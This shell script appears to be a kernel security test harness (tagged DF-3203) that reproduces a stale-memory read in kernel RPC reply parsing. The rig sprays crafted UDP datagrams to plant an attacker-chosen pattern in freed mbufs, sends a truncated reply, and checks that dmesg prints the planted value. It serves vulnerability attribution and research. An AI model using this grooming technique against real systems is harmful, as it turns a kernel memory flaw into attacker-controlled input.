#!/bin/sh
# DF-3203 attacker-side attribution: primer spray.  A userland-only
# attacker plants a chosen 32-bit pattern at mbuf offset 20..23 by
# spraying 24-byte datagrams to a dead port (their mbufs are freed with
# the pattern in place), then sends the 16-byte short reply; the verbatim
# krpc code reads those bytes as rp_status and prints them:
#     rpc denied, status=<pattern>
# The pattern cannot come from the 16-byte datagram (bytes 16..23 do not
# exist on the wire) nor from the kernel-side groom (canary 0xc3).
# Two different patterns back-to-back: the printed value must TRACK the
# attacker-chosen pattern.
set -e
D=/root/dfrig13
cd $D

run_pat() {
	pat=$1
	rounds=$2
	i=0
	while [ $i -lt $rounds ]; do
		i=$((i + 1))
		usched :1 ./attacker short_p -p 7771 -n 3 -x $pat \
		  > short_p_$(printf %08x $pat)_$i.log 2>&1 &
		sleep 1
		sysctl -w kern.dfrig13_arg=0xc3 >/dev/null
		usched :1 sysctl -w kern.dfrig13=2 >/dev/null
		sysctl -n kern.dfrig13_status
		wait
		echo "--- dmesg now:"
		dmesg | grep "rpc denied, status=" | tail -4 || true
	done
}

echo "===== pattern A: 0x5a5a5a5a (=1515870810) ====="
run_pat 0x5a5a5a5a 3
echo
echo "===== pattern B: 0x3cc33cc3 (=1019428035) ====="
run_pat 0x3cc33cc3 3
echo
dmesg | grep "rpc denied, status=" > primer_leak_sample.txt || true
echo "--- full stale-value history this boot:"
cat primer_leak_sample.txt
echo "DF-3203 PRIMER ATTRIBUTION DONE"